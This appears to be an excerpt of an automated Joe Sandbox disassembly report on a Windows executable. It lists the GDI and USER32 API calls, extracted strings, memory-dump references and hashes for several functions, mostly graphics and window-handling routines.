SelectObject.GDI32(?,?), ref: 0043F606
PatBlt.GDI32(?,00000000,00000000,?,?,00F00021), ref: 0043F628
SelectObject.GDI32(?,?), ref: 0043F638
SelectObject.GDI32(?,?), ref: 0043F644
GetTickCount.KERNEL32 ref: 0043F692
SelectObject.GDI32(?,?), ref: 0043F6CA
SelectObject.GDI32(00000000,00000000), ref: 0043F6E6
BitBlt.GDI32(?,?,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 0043F70B
SelectObject.GDI32(00000000,?), ref: 0043F717
DeleteObject.GDI32(00000000), ref: 0043F71E
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 0043F762
SelectObject.GDI32(00000000,00000000), ref: 0043F76E
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,?,00000000,00CC0020), ref: 0043F793
SelectObject.GDI32(00000000,?), ref: 0043F79F
SelectObject.GDI32(00000000,?), ref: 0043F7A7
CreateCompatibleDC.GDI32(00000000), ref: 0043F7BC
CreateCompatibleDC.GDI32(00000000), ref: 0043F7C5
CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 0043F7DB
CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 0043F7F3
SelectObject.GDI32(00000000,?), ref: 0043F803
SelectObject.GDI32(00000000,?), ref: 0043F813
SetBkColor.GDI32(00000000,?), ref: 0043F825
BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 0043F846
SetBkColor.GDI32(00000000,?), ref: 0043F852
BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,00330008), ref: 0043F86F
BitBlt.GDI32(?,?,00000000,?,?,00000000,00000000,00000000,008800C6), ref: 0043F894
BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,008800C6), ref: 0043F8B1
BitBlt.GDI32(?,?,00000000,?,?,00000000,00000000,00000000,00EE0086), ref: 0043F8D6
SelectObject.GDI32(00000000,?), ref: 0043F8E2
DeleteObject.GDI32(00000000), ref: 0043F8E9
SelectObject.GDI32(00000000,?), ref: 0043F8F5
DeleteObject.GDI32(00000000), ref: 0043F8FC
DeleteDC.GDI32(00000000), ref: 0043F909
DeleteDC.GDI32(00000000), ref: 0043F90C
SelectObject.GDI32(00000000,?), ref: 0043F945
DeleteObject.GDI32(?), ref: 0043F94C
IsWindow.USER32(?), ref: 0043F956
StretchBlt.GDI32(00000000,?,?,?,?,?,00000000,00000000,?,?,00CC0020), ref: 0043F9BA
BitBlt.GDI32(00000000,?,?,?,?,?,00000000,00000000,00CC0020), ref: 0043F9E4
SelectObject.GDI32(?,?), ref: 0043F9F4
Sleep.KERNEL32(0000000A), ref: 0043FA40
GetTickCount.KERNEL32 ref: 0043FA46
DeleteObject.GDI32(00000000), ref: 0043FA73
DeleteDC.GDI32(00000000), ref: 0043FA80
DeleteDC.GDI32(?), ref: 0043FA87
ReleaseDC.USER32(?,00000000), ref: 0043FA8E

Part of subcall function 0043F070: GetClientRect.USER32(?,?), ref: 0043F097
Part of subcall function 0043F070: __ftol.LIBCMT ref: 0043F16E
Part of subcall function 0043F070: __ftol.LIBCMT ref: 0043F181

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Object$Select$Delete$Create$Compatible$Bitmap$ColorCountStretchTick__ftol$ClientDisplayEnumModeRectReleaseSettingsSleepWindow
String ID:
API String ID: 1975044605-0
Opcode ID: ff7b309a2e6c44d054701e26007878dacfbb449b896081f0438d56aa9dd416d0
Instruction ID: 544394263ef44d98b93a98e3c7b8b3d1107e5c01cb31d133f42bfb47a964139a
Opcode Fuzzy Hash: ff7b309a2e6c44d054701e26007878dacfbb449b896081f0438d56aa9dd416d0
Instruction Fuzzy Hash: 8C0217B5204740AFE320DF65CC85F6BB7E8EB89B00F10491DF696936A0D7B4F8458B29

Function 0043DE60 Relevance: 42.4, APIs: 19, Strings: 5, Instructions: 356windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004243D0: SendMessageA.USER32(?,00000143,00000000,?), ref: 004243F3

GetProfileStringA.KERNEL32(windows,device,,,,,?,000001F4), ref: 0043DEB9
GetProfileStringA.KERNEL32(devices,00000000,004DBE94,?,00001000), ref: 0043DEF8
GetProfileStringA.KERNEL32(devices,?,,,,,?,000000C8), ref: 0043DF3A
SendMessageA.USER32(?,00000143,00000000), ref: 0043DFFB
SendMessageA.USER32(?,0000014E,?,00000000), ref: 0043E038
SendMessageA.USER32(?,0000014E,?,00000000), ref: 0043E0DB
wsprintfA.USER32 ref: 0043E0F4
wsprintfA.USER32 ref: 0043E11A
wsprintfA.USER32 ref: 0043E140
SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 0043E173
SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 0043E19E
SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 0043E1B4
SendMessageA.USER32(?,0000014E,?,00000000), ref: 0043E1CB
SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 0043E20F
wsprintfA.USER32 ref: 0043E222
wsprintfA.USER32 ref: 0043E24C
SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 0043E272
SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 0043E2B3
wsprintfA.USER32 ref: 0043E2C4

Strings

device, xrefs: 0043DEAF
devices, xrefs: 0043DEF3, 0043DF35
,,,, xrefs: 0043DEAA, 0043DF2F
none, xrefs: 0043DF78
windows, xrefs: 0043DEB4

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageSend$wsprintf$ProfileString
String ID: ,,,$device$devices$none$windows
API String ID: 2373861888-528626633
Opcode ID: 604509a101e96bf6f6d451b3fb8ac046eeb47e2a7b6716997f9b527a75334b29
Instruction ID: b7def74a69fde3b6566de6d14d6782e716d20c3647f8fc92379151743c724eea
Opcode Fuzzy Hash: 604509a101e96bf6f6d451b3fb8ac046eeb47e2a7b6716997f9b527a75334b29
Instruction Fuzzy Hash: CDC1B771240701ABD624DB75CC81FEB73E9AB88748F00091EF66A971D0DEB8F645CB59

Function 0040E170 Relevance: 40.9, APIs: 27, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbd17e52e4174c0c7f79f8e771594c5a4c1a437aafb8a38c5e6a64403221a873
Instruction ID: 09a3f0f376896faa748c628f777a5fbabac55739023022a50f0d7e5f0be84689
Opcode Fuzzy Hash: dbd17e52e4174c0c7f79f8e771594c5a4c1a437aafb8a38c5e6a64403221a873
Instruction Fuzzy Hash: 78D15BB2704606AFD304DFA9E8C4D97B7ACFB89365B10893AF105C7291D735E861CBA4

Function 0044D180 Relevance: 38.0, APIs: 25, Instructions: 452windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000010), ref: 0044D208

Part of subcall function 0049A9F8: SetBkColor.GDI32(?,?), ref: 0049AA07
Part of subcall function 0049A9F8: ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 0049AA39

GetSysColor.USER32(00000014), ref: 0044D240
InflateRect.USER32(?,000000FF,000000FF), ref: 0044D272
GetSysColor.USER32(00000016), ref: 0044D28B
GetSysColor.USER32(0000000F), ref: 0044D29B
DrawEdge.USER32(?,?,00000002,0000000F), ref: 0044D2D4
GetDeviceCaps.GDI32(?), ref: 0044D4DE
RealizePalette.GDI32(?), ref: 0044D501
GetSysColor.USER32(00000014), ref: 0044D519
GetSysColor.USER32(0000000F), ref: 0044D52B
GetSysColor.USER32(0000000F), ref: 0044D1E1

Part of subcall function 0049A9CE: SetBkColor.GDI32(?,?), ref: 0049A9D8
Part of subcall function 0049A9CE: ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 0049A9EE

GetSysColor.USER32(0000000F), ref: 0044D338
InflateRect.USER32(?,000000FF,000000FF), ref: 0044D371
GetSysColor.USER32(00000016), ref: 0044D386
GetSysColor.USER32(0000000F), ref: 0044D392
InflateRect.USER32(?,?,?), ref: 0044D3D3
GetSysColor.USER32(00000010), ref: 0044D3D7
Rectangle.GDI32(?,?,?,?,?), ref: 0044D41E
DrawEdge.USER32(?,?,00000002,0000000F), ref: 0044D459
DrawEdge.USER32(?,?,00000002,0000000F), ref: 0044D560
GetSysColor.USER32(00000010), ref: 0044D5BD
CreatePen.GDI32(00000000,00000001,00000000), ref: 0044D5C4
InflateRect.USER32(?,?,?), ref: 0044D603
Rectangle.GDI32(?,?,?,?,?), ref: 0044D621
GetDeviceCaps.GDI32(?,00000026), ref: 0044D657

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Color$InflateRect$DrawEdge$CapsDeviceRectangleText$CreatePaletteRealize
String ID:
API String ID: 3119264602-0
Opcode ID: 13fd8fc6727c668e94e21905c8ed35be659a006d7597c32316ee652acc64b0a8
Instruction ID: 4206322434332f6c75e3a7ab2d675bbc4819534cefb4b23c96143ee94f234bfa
Opcode Fuzzy Hash: 13fd8fc6727c668e94e21905c8ed35be659a006d7597c32316ee652acc64b0a8
Instruction Fuzzy Hash: 77F17AB1604701AFD714DF68C880F6BB7E9FB89714F008A2EF65687291DBB4E805CB56

Function 0042A200 Relevance: 35.4, APIs: 17, Strings: 3, Instructions: 366windowCOMMON

Download Yara Rule

APIs

CreateDIBitmap.GDI32(?,?,00000004,?,?,00000000), ref: 0042A28C
CreateCompatibleDC.GDI32(?), ref: 0042A29E
CreateCompatibleDC.GDI32(?), ref: 0042A2A7
SelectObject.GDI32(00000000,?), ref: 0042A2B6
CreateCompatibleBitmap.GDI32(?,?,?), ref: 0042A2C9
SelectObject.GDI32(?,00000000), ref: 0042A2D9
BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 0042A2F9
SelectObject.GDI32(00000000,?), ref: 0042A305
DeleteDC.GDI32(00000000), ref: 0042A312
SelectObject.GDI32(?,?), ref: 0042A31A
DeleteDC.GDI32(?), ref: 0042A321
DeleteObject.GDI32(?), ref: 0042A327
CreateBitmap.GDI32(?,?,00000001,00000001,?), ref: 0042A35D

Strings

, xrefs: 0042A423
(, xrefs: 0042A5BF
(, xrefs: 0042A40C

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CreateObject$Select$BitmapCompatibleDelete
String ID: $($(
API String ID: 1878064223-3669016180
Opcode ID: 23f5d97bc53895b6d898e7a38f4e650327bca90f5a246f8f0327614021f396a1
Instruction ID: 406482e0ad56d6c89b10974d5e22377cb5a1050282c178547a74d8b0643ec93a
Opcode Fuzzy Hash: 23f5d97bc53895b6d898e7a38f4e650327bca90f5a246f8f0327614021f396a1
Instruction Fuzzy Hash: 3FD146B5A043019FC710CF25D884A6BBBE9EFC9310F14892EF99693360D774E845CB66

Function 0041FE40 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 245COMMON

Download Yara Rule

APIs

SetWindowRgn.USER32(?,00000000,00000001), ref: 0041FE71
GetWindowRect.USER32(?,?), ref: 0041FE9E
BeginPath.GDI32(?), ref: 0041FF27
MulDiv.KERNEL32(7FFF0000,?,00007FFF), ref: 0041FF40
MulDiv.KERNEL32(00000000,?,00007FFF), ref: 0041FF4F
MulDiv.KERNEL32(3FFF0000,?,00007FFF), ref: 0041FF77
MulDiv.KERNEL32(00000000,?,00007FFF), ref: 0041FF86
EndPath.GDI32(?), ref: 0041FFA1
PathToRegion.GDI32(?), ref: 0041FFAC

Strings

@dJ, xrefs: 004200F5
gfff, xrefs: 0042007A
@dJ, xrefs: 00420051
gfff, xrefs: 0042006A
4dJ, xrefs: 0041FEB4

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Path$Window$BeginRectRegion
String ID: 4dJ$@dJ$@dJ$gfff$gfff
API String ID: 3989698161-4103613698
Opcode ID: 5475dbc99e6fc94c0119283f77a073fa168efaede951e286d9777e2fa8fed98a
Instruction ID: 928ae8a44ac5c2746405f1faba84ae5fffcaddd25e1808a89ad7dd9a56810c0d
Opcode Fuzzy Hash: 5475dbc99e6fc94c0119283f77a073fa168efaede951e286d9777e2fa8fed98a
Instruction Fuzzy Hash: 1E8101B16043419FD714DF29CC85E6BBBE8FB99704F04493EF58683390DA38A809CB66

Function 0040FBC0 Relevance: 33.6, APIs: 16, Strings: 3, Instructions: 384windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1

Part of subcall function 00498434: GetClipBox.GDI32(?,?), ref: 0049843B

IsRectEmpty.USER32(?), ref: 0040FC05
GetCurrentObject.GDI32(?,00000002), ref: 0040FC4A
GetCurrentObject.GDI32(?,00000001), ref: 0040FC5D
GetClientRect.USER32 ref: 0040FCE2
CreatePen.GDI32(-00000003,00000000,?), ref: 0040FCFE
PatBlt.GDI32(?,?,?,?,?,00F00021), ref: 0040FDC2

Part of subcall function 004988F5: __EH_prolog.LIBCMT ref: 004988FA
Part of subcall function 004988F5: EndPaint.USER32(?,?,?,?,0040D8E3), ref: 00498917

Strings

L\J, xrefs: 0040FCBC
gfff, xrefs: 0040FF32
\[J, xrefs: 00410006

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CurrentH_prologObjectPaintRect$BeginClientClipCreateEmpty
String ID: L\J$\[J$gfff
API String ID: 3506841274-2929310805
Opcode ID: 2aed429bef600c363fffe495acab2a9754ca69b4d9c0d245323f59168fe2bad8
Instruction ID: 6adb809a4b317a3332ed0f26381a460a4d30f66896481caf86d417e45ca2e7ea
Opcode Fuzzy Hash: 2aed429bef600c363fffe495acab2a9754ca69b4d9c0d245323f59168fe2bad8
Instruction Fuzzy Hash: B3E18EB11083419BC724DF58C881E6FBBE9BB89314F104A3EF59593291DB38E909CB67

Function 00427E70 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 183windowmemoryCOMMON

Download Yara Rule

APIs

GetStockObject.GDI32(0000000F), ref: 00427EC4
GetObjectA.GDI32(?,00000018,?), ref: 00427ED7
SelectPalette.GDI32(?,00000000,00000000), ref: 00427F32
RealizePalette.GDI32(?), ref: 00427F3C
GlobalAlloc.KERNEL32(00000002,00000028), ref: 00427F46
SelectPalette.GDI32(?,?,00000000), ref: 00427F5C
GlobalLock.KERNEL32(00000000), ref: 00427F64
GetDIBits.GDI32(?,?,00000000,?,00000000,00000000,00000000), ref: 00427F93
GlobalUnlock.KERNEL32(00000000), ref: 00427FE9
GlobalReAlloc.KERNEL32(00000000,?,00000002), ref: 00427FF2
GlobalLock.KERNEL32(00000000), ref: 00427FFF
GetDIBits.GDI32(?,?,00000000,?,00000000,00000000,00000000), ref: 00428022
SelectPalette.GDI32(?,?,00000000), ref: 00428035
GlobalUnlock.KERNEL32(00000000), ref: 0042803C
GlobalFree.KERNEL32(00000000), ref: 00428043

Part of subcall function 0049878D: __EH_prolog.LIBCMT ref: 00498792
Part of subcall function 0049878D: ReleaseDC.USER32(?,00000000), ref: 004987B1

Strings

TjJ&ljJ, xrefs: 00427E7D
(, xrefs: 00427EEA

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Global$Palette$Select$AllocBitsLockObjectUnlock$FreeH_prologRealizeReleaseStock
String ID: ($TjJ&ljJ
API String ID: 3986717603-52760780
Opcode ID: 97a89a4c27d91f41db7e51950df5cad2a7db61263290de235e4b70f68a0d5ad7
Instruction ID: f7abd00390526022d6fe3b6ad65f15242b03ed181b4b6a1122d435b21222d9c0
Opcode Fuzzy Hash: 97a89a4c27d91f41db7e51950df5cad2a7db61263290de235e4b70f68a0d5ad7
Instruction Fuzzy Hash: 8F616B766083509FC320DB54DC44B6BBBE8FB89B10F15492DFA85973A0DB78E805CB96

Function 0041A5F0 Relevance: 33.3, APIs: 22, Instructions: 293windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0041A67F
GetWindowRect.USER32(?,?), ref: 0041A6D6
GetParent.USER32(?), ref: 0041A6E6
GetParent.USER32(?), ref: 0041A719
GlobalSize.KERNEL32(00000000), ref: 0041A763
GlobalLock.KERNEL32(00000000), ref: 0041A76B
IsWindow.USER32(?), ref: 0041A784
GetTopWindow.USER32(?), ref: 0041A7C1
GetWindow.USER32(00000000,00000002), ref: 0041A7DA
SetParent.USER32(?,?), ref: 0041A806
SendMessageA.USER32(?,0000806F,00000000,00000000), ref: 0041A851
SendMessageA.USER32(?,00008076,00000000,00000000), ref: 0041A860
GetParent.USER32(?), ref: 0041A873
SendMessageA.USER32(?,00008004,00000000,00000000), ref: 0041A88C
GetWindowLongA.USER32(?,000000F0), ref: 0041A894
SendMessageA.USER32(?,0000130B,00000000,00000000), ref: 0041A8C4
SendMessageA.USER32(?,0000130C,00000000,00000000), ref: 0041A8D2
IsWindow.USER32(?), ref: 0041A91E
GetFocus.USER32 ref: 0041A928
SetFocus.USER32(?,00000000), ref: 0041A940
GlobalUnlock.KERNEL32(00000000), ref: 0041A94B
GlobalFree.KERNEL32(00000000), ref: 0041A952

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

